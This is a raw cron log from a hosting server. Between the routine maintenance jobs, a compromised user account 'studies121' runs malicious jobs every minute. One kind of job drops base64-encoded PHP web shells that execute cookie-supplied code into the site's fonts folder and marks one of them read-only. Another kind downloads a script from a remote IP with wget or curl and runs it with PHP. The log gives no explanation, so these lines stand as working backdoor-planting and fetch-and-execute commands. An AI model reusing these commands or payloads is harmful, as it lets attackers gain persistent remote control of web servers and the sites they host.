Feb 22 15:18:01 ip-184-168-122-23 CROND[4427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:18:01 ip-184-168-122-23 CROND[4424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:19:01 ip-184-168-122-23 CROND[4858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:19:01 ip-184-168-122-23 CROND[4857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:19:01 ip-184-168-122-23 CROND[4860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:19:01 ip-184-168-122-23 CROND[4861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:20:01 ip-184-168-122-23 CROND[5173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 15:20:01 ip-184-168-122-23 CROND[5175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:20:01 ip-184-168-122-23 CROND[5174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:20:01 ip-184-168-122-23 CROND[5176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:20:01 ip-184-168-122-23 CROND[5182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:20:01 ip-184-168-122-23 CROND[5184]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 15:20:01 ip-184-168-122-23 CROND[5186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:20:01 ip-184-168-122-23 CROND[5187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:20:01 ip-184-168-122-23 CROND[5191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:21:01 ip-184-168-122-23 CROND[5514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:21:01 ip-184-168-122-23 CROND[5515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:21:01 ip-184-168-122-23 CROND[5518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:21:01 ip-184-168-122-23 CROND[5519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:22:01 ip-184-168-122-23 CROND[5827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:22:01 ip-184-168-122-23 CROND[5831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:22:01 ip-184-168-122-23 CROND[5829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:22:01 ip-184-168-122-23 CROND[5830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:22:01 ip-184-168-122-23 CROND[5832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:23:01 ip-184-168-122-23 CROND[6145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:23:01 ip-184-168-122-23 CROND[6147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:23:01 ip-184-168-122-23 CROND[6149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:23:01 ip-184-168-122-23 CROND[6148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:24:01 ip-184-168-122-23 CROND[6556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:24:01 ip-184-168-122-23 CROND[6559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:24:01 ip-184-168-122-23 CROND[6558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:24:01 ip-184-168-122-23 CROND[6560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:24:01 ip-184-168-122-23 CROND[6561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:25:01 ip-184-168-122-23 CROND[6889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:25:01 ip-184-168-122-23 CROND[6891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:25:01 ip-184-168-122-23 CROND[6892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:25:01 ip-184-168-122-23 CROND[6893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:25:01 ip-184-168-122-23 CROND[6894]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:25:01 ip-184-168-122-23 CROND[6895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:26:01 ip-184-168-122-23 CROND[7218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:26:01 ip-184-168-122-23 CROND[7217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:26:01 ip-184-168-122-23 CROND[7221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:26:01 ip-184-168-122-23 CROND[7222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:26:01 ip-184-168-122-23 CROND[7224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:27:01 ip-184-168-122-23 CROND[7550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:27:01 ip-184-168-122-23 CROND[7552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:27:01 ip-184-168-122-23 CROND[7551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:27:01 ip-184-168-122-23 CROND[7553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:28:01 ip-184-168-122-23 CROND[7883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:28:01 ip-184-168-122-23 CROND[7884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:28:01 ip-184-168-122-23 CROND[7886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:28:01 ip-184-168-122-23 CROND[7885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:28:01 ip-184-168-122-23 CROND[7887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:29:01 ip-184-168-122-23 CROND[8203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:29:01 ip-184-168-122-23 CROND[8202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:29:01 ip-184-168-122-23 CROND[8205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:29:01 ip-184-168-122-23 CROND[8208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:30:01 ip-184-168-122-23 CROND[8525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 15:30:02 ip-184-168-122-23 CROND[8526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:30:02 ip-184-168-122-23 CROND[8528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:30:02 ip-184-168-122-23 CROND[8533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:30:02 ip-184-168-122-23 CROND[8535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
